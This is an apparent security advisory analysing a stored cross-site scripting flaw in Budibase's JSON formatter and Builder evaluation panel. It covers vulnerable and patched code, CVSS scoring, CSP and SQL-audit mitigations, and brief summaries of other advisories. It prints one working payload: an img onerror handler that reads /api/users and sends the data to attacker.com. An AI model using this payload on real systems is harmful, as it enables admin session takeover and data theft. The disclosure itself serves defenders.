Nov 21, 2026·9 min read·2 visits
A defective sanitization routine in Budibase's JSON formatter fails to escape raw HTML strings and JSON object keys before rendering them via Svelte's {@html} directive in the Builder UI. Low-privileged users can store malicious payloads in shared datasources to achieve arbitrary JavaScript execution in the context of an administrator's session, leading to full account takeover and workspace compromise.
CVE-2026-122244 (GHSA-r2q3-7m4h-63qg) is a high-severity cross-privilege Stored Cross-Site Scripting (XSS) vulnerability in Budibase prior to version 3.50.0. The flaw occurs due to defective character escaping in the JSON formatter utility combined with raw HTML rendering via Svelte's {@html} directive in the Budibase Builder interface. A low-privileged application user or an unauthenticated form visitor can store malicious HTML markup in a shared datasource, which subsequently executes arbitrary JavaScript in the browser session of an administrator or application builder inspecting Handlebars formula bindings.
Budibase is an open-source low-code platform used to build internal tools and business applications on top of external databases and REST APIs. The architecture separates the runtime end-user interface (/app/*) from the administrative development environment (/builder/*). Application builders use the Builder UI to define data schemas, create formula columns, and test Handlebars data bindings against live records stored in connected datasources.
CVE-2026-122244 (also tracked as GHSA-r2q3-7m4h-63qg) is a Stored Cross-Site Scripting (CWE-79) and Improper Output Neutralization (CWE-116) vulnerability within the packages/frontend-core and packages/builder components. The flaw resides in the data formatting pipeline used to display evaluated Handlebars bindings inside the Builder's evaluation panel. When a builder inspects a formula or binding that references untrusted database records, the application formats the evaluated output into syntax-highlighted HTML and injects it directly into the Document Object Model (DOM).
Because the formatting utility fails to neutralize HTML control characters in raw string outputs and JSON object keys, malicious markup stored in a datasource is rendered verbatim. Furthermore, the /builder/* origin does not enforce a Content Security Policy (CSP). Consequently, an attacker with minimal privileges—such as a BASIC application user or an unauthenticated user submitting a public form—can bridge the trust boundary between the end-user runtime and the administrative Builder session.
The root cause of CVE-2026-122244 is a multi-stage sanitization failure across the Handlebars evaluation pipeline, the string formatter in packages/frontend-core/src/utils/jsonFormatter.ts, and the Svelte UI rendering layer in packages/builder/src/components/common/bindings/EvaluationSidePanel.svelte. When a Handlebars expression is evaluated in the Builder, the output is wrapped in new Handlebars.SafeString(...), which instructs downstream template engines to bypass automatic context-aware escaping.
The evaluated value is then passed to the format() function in jsonFormatter.ts to apply syntax highlighting before presentation. At the entry point of format(), the developer attempted to sanitize top-level HTML special characters (&, <, >) using chained regular expression replacements. However, the replacement strings contained literal characters rather than their corresponding HTML entity equivalents (&, <, >). As a result, replacing < with < acted as a complete no-op, leaving all HTML tags intact in jsonString.
Following the ineffective top-level replacement, format() applies a token-matching regular expression via jsonString.replace() to wrap JSON primitives, keys, and string values in <span style="..."> tags. This secondary regex processing introduces two distinct escaping bypasses:
Unquoted Raw Strings: When the input to format() is a raw JavaScript string (such as the evaluated output of a Handlebars formula returning text) rather than a serialized JSON object, typeof json === "string" ? json : JSON.stringify(...) preserves the raw string without surrounding quotation marks. Because the token regex only matches strings enclosed in double quotes (/^"/), raw strings containing HTML markup fail to match any token pattern. The .replace() call leaves the non-matching substrings completely untouched and unescaped.
JSON Object Keys: When the input is a JSON object, the token regex matches both keys and string values. Inside the replacement callback, the code checks if a matched quoted string ends with a colon (/:$/.test(match)) to identify object keys. While string values are explicitly passed through escapeHtml(), the branch handling object keys assigns colors.keyColor and returns the raw key without calling escapeHtml(). Any HTML payload embedded within a JSON key name bypasses sanitization entirely.
Finally, the resulting string from jsonFormatter.format() is passed to EvaluationSidePanel.svelte and rendered using Svelte's raw HTML directive ({@html formattedResult}). This directive inserts the content directly into the element's innerHTML without framework-level sanitization, immediately executing any unescaped script tags or inline event handlers in the browser.
In the vulnerable versions of Budibase (< 3.50.0), packages/frontend-core/src/utils/jsonFormatter.ts contained the defective format() implementation. The pre-patch code demonstrates both the no-op character replacement and the selective token escaping:
// Vulnerable implementation in packages/frontend-core/src/utils/jsonFormatter.ts
export function format(json: JSONValue, colorOptions: ColorsOptions = {}) {
let jsonString =
typeof json === "string" ? json : JSON.stringify(json, null, 2) || valueType
let colors = Object.assign({}, defaultColors, colorOptions)
// BUG 1: No-op regex replacements replace characters with themselves
jsonString = jsonString
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
return jsonString.replace(
/("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+]?\d+)?)/g,
(match: string) => {
let color = colors.numberColor
let style = ""
if (/^"/.test(match)) {
if (/:$/.test(match)) {
// BUG 2: Object keys are colored but never passed to escapeHtml()
color = colors.keyColor
} else {
color = colors.stringColor
match = '"' + escapeHtml(match.substr(1, match.length - 2)) + '"'
style = "word-wrap:break-word;white-space:pre-wrap;"
}
} else {
color = /true/.test(match)
? colors.trueColor
: /false/.test(match)
? colors.falseColor
: /null/.test(match)
? colors.nullColor
: color
}
// BUG 3: Unmatched non-token substrings (like raw strings) bypass this callback entirely
return `<span style="${style}color:${color}">${match}</span>`
}
)
}The vendor remediated the vulnerability in commit 5f37fb43728639c540cc7233283f1100e9315424. The patch removes the defective top-level .replace() calls and replaces the in-place jsonString.replace() architecture with an iterative cursor loop using tokenRegex.exec(jsonString):
// Patched implementation in packages/frontend-core/src/utils/jsonFormatter.ts
export function format(json: JSONValue, colorOptions: ColorsOptions = {}) {
let jsonString =
typeof json === "string" ? json : JSON.stringify(json, null, 2) || valueType
let colors = Object.assign({}, defaultColors, colorOptions)
const tokenRegex =
/("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+]?\d+)?)/g
const formatToken = (token: string) => {
let color = colors.numberColor
let style = ""
let formattedToken = token
if (/^"/.test(token)) {
color = /:$/.test(token) ? colors.keyColor : colors.stringColor
// FIX 1: Both object keys and string values are unconditionally escaped
formattedToken = escapeHtml(token)
if (!/:$/.test(token)) {
style = "word-wrap:break-word;white-space:pre-wrap;"
}
} else {
color = /true/.test(token)
? colors.trueColor
: /false/.test(token)
? colors.falseColor
: /null/.test(token)
? colors.nullColor
: color
formattedToken = escapeHtml(token)
}
return `<span style="${style}color:${color}">${formattedToken}</span>`
}
let formatted = ""
let lastIndex = 0
let match: RegExpExecArray | null
while ((match = tokenRegex.exec(jsonString)) !== null) {
// FIX 2: Escape all non-token slices preceding the matched token
formatted += escapeHtml(jsonString.slice(lastIndex, match.index))
formatted += formatToken(match[0])
lastIndex = tokenRegex.lastIndex
}
// FIX 3: Escape any remaining trailing slice (covers raw non-JSON strings)
return formatted + escapeHtml(jsonString.slice(lastIndex))
}> [!NOTE]
> Fix Completeness Assessment: The patch in 5f37fb43728639c540cc7233283f1100e9315424 is complete for the jsonFormatter.format() sink. By maintaining lastIndex and passing every preceding slice (jsonString.slice(lastIndex, match.index)), every matched token (formatToken(match[0])), and the trailing remainder (jsonString.slice(lastIndex)) through escapeHtml(), no user-controlled character can reach the output without HTML entity encoding while the framework adds safe <span> tags around tokens.
Exploiting CVE-2026-122244 requires two conditions: write access to a datasource connected to a Budibase workspace, and user interaction from an application builder or administrator inspecting bindings in the Builder UI. Write access is typically available to any authenticated user assigned the BASIC role, or to unauthenticated external users if the application exposes a public data-entry form.
In the first phase of the attack, the adversary submits a record containing an HTML payload with an inline JavaScript event handler into a text column of the shared datasource (such as PostgreSQL, MySQL, CouchDB, or a REST API). Because standard <script> tags inserted via innerHTML do not execute according to the HTML5 specification, the attacker uses elements that trigger immediate asynchronous events, such as <img> or <svg>:
<img src=x onerror="fetch('/api/users').then(r=>r.json()).then(d=>fetch('https://attacker.com/exfil?c='+encodeURIComponent(JSON.stringify(d))))">In the second phase, an administrator or builder logs into the Budibase Builder (/builder/*) to maintain or update the application. The execution trigger occurs when the builder performs one of the following actions on the table containing the malicious record:
{{ row.description }}).EvaluationSidePanel.svelte) on any UI component bound to the compromised table and previews the evaluated expression.When the preview panel evaluates the binding against the stored row, jsonFormatter.format() processes the raw string output. Because the unquoted string does not match the JSON token regex and the top-level .replace() calls are no-ops, the <img> tag is injected directly into <div class="result">{@html formattedResult}</div>. The browser attempts to load src=x, fails immediately, and executes the onerror payload within the builder's authenticated origin.
CVE-2026-122244 carries a CVSS v3.1 base score of 7.7 (High) with the vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N. While the attack complexity is rated High (AC:H) and requires user interaction (UI:R) from a privileged builder navigating to a binding evaluation panel, the Scope is Changed (S:C) because the vulnerability bridges the privilege boundary from a low-privileged runtime application user (/app/*) to the administrative Builder environment (/builder/*).
Once JavaScript executes within the Builder session, the absence of a Content Security Policy (CSP) allows the script to make arbitrary authenticated HTTP requests to internal Budibase administrative endpoints and external servers. Both Confidentiality (C:H) and Integrity (I:H) impacts are total within the context of the platform.
Specifically, an attacker executing code in an administrator's session can achieve the following objectives:
/api/users to provision new global administrator accounts or modify existing user credentials and permissions.The primary remediation is to upgrade Budibase to version 3.50.0, 4.0.0, or a subsequent release that incorporates commit 5f37fb43728639c540cc7233283f1100e9315424. Administrators running containerized deployments should pull the patched image from the official registry and redeploy their services:
docker pull budibase/budibase:3.50.0For environments where an immediate upgrade is not feasible, security teams should implement defense-in-depth controls at the reverse proxy layer and audit existing database records. Enforcing a strict Content Security Policy (CSP) on the /builder/ route via Nginx or an upstream load balancer prevents inline event handlers (onerror, onload) and unauthorized external connections from executing even if unescaped HTML is injected into the DOM:
location /builder/ {
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' ws: wss:;" always;
}Additionally, database administrators should inspect tables connected to public forms or low-privileged user inputs for stored HTML tags and event handlers prior to inspecting bindings in the Builder UI:
SELECT * FROM table_name
WHERE column_name LIKE '%<script%'
OR column_name LIKE '%<img%'
OR column_name LIKE '%onerror=%'
OR column_name LIKE '%onload=%';CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Budibase Budibase | < 3.50.0 | 3.50.0 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | Stored Cross-Site Scripting (CWE-79 / CWE-116) |
| CVSS v3.1 Score | 7.7 High (CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N) |
| Affected Component | packages/frontend-core/src/utils/jsonFormatter.ts & EvaluationSidePanel.svelte |
| Attack Vector | Network (Low-privileged or public write to shared datasource) |
| Impact | Arbitrary JS execution in Admin Builder session, account takeover, data exfiltration |
| Exploit Status | Proof-of-Concept (PoC) |
| Patched Versions | 3.50.0, 4.0.0 |
| CISA KEV Status | Not Listed |
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
A tenant-confusion vulnerability in the user initialization endpoint of the Budibase worker service (prior to version 3.50.0) allows unauthenticated remote attackers to bypass the one-time administrative setup guard. By supplying arbitrary tenant identifiers in POST requests to /api/global/users/init, an attacker can force the underlying CouchDB datastore to dynamically provision unlimited tenant databases and persist latent global administrator accounts. This results in datastore resource exhaustion, denial of service, and unauthorized administrative account creation inside non-default tenant contexts.
Paymenter versions prior to 1.5.7 contain an arbitrary method invocation vulnerability within the base Livewire component architecture. The application includes a legacy trait, HasConfirmation, inside app/Livewire/Component.php, which is inherited across 36 client-facing Livewire components. This trait exposes a public remote procedure call (RPC) endpoint named executeConfirmedAction without access controls or method allowlisting. Remote attackers can invoke arbitrary methods on any inheriting component, including Livewire's internal fill() method, enabling them to bypass #[Locked] property protections and manipulate internal component state and hydrated Eloquent models.
OpenRemote prior to version 1.31.0 contains a Missing Authorization vulnerability (CWE-862) in the user management REST API endpoint responsible for disconnecting active MQTT sessions. The disconnectUserSession method in UserResourceImpl fails to verify whether the requesting user owns the target MQTT session, holds administrative privileges, or belongs to the realm specified in the request path. As a result, any authenticated user who obtains a valid MQTT session identifier can forcefully terminate active MQTT connections belonging to other users or IoT devices across any tenant realm.
CVE-2026-69133 (GHSA-cg26-4c6j-2x8h) is a missing resource release vulnerability (CWE-772) in io.netty.incubator:netty-incubator-codec-ohttp affecting versions 0.0.20.Final through 0.0.26.Final. Both OHttpClientCodec and OHttpServerCodec retain the outer cumulationBuffer at its expanded high-water capacity after an Oblivious HTTP (OHTTP) exchange finishes. A remote unauthenticated attacker can complete a large OHTTP request or response over an HTTP keep-alive connection and leave the connection idle, pinning pooled or direct memory allocations across concurrent connections to induce denial of service.
A session fixation vulnerability (CWE-384) exists in CKAN (Comprehensive Knowledge Archive Network) prior to versions 2.10.11 and 2.11.6. When configured with server-side session storage and active public web registration, the user registration view programmatically authenticates newly created accounts without regenerating the active session identifier. An attacker capable of fixing or capturing a victim's pre-authentication session cookie can hijack the newly registered account immediately after registration completes.
CVE-2026-35374 is a Time-of-Check to Time-of-Use (TOCTOU) race condition (CWE-367) in the split utility of uutils coreutils. The utility validates that the input and output paths do not refer to the same file before opening the output file with truncation flags. A local attacker with write permissions in the destination directory can replace the output file path with a symbolic link during this race window, causing the process to truncate and overwrite arbitrary files accessible to the user executing split.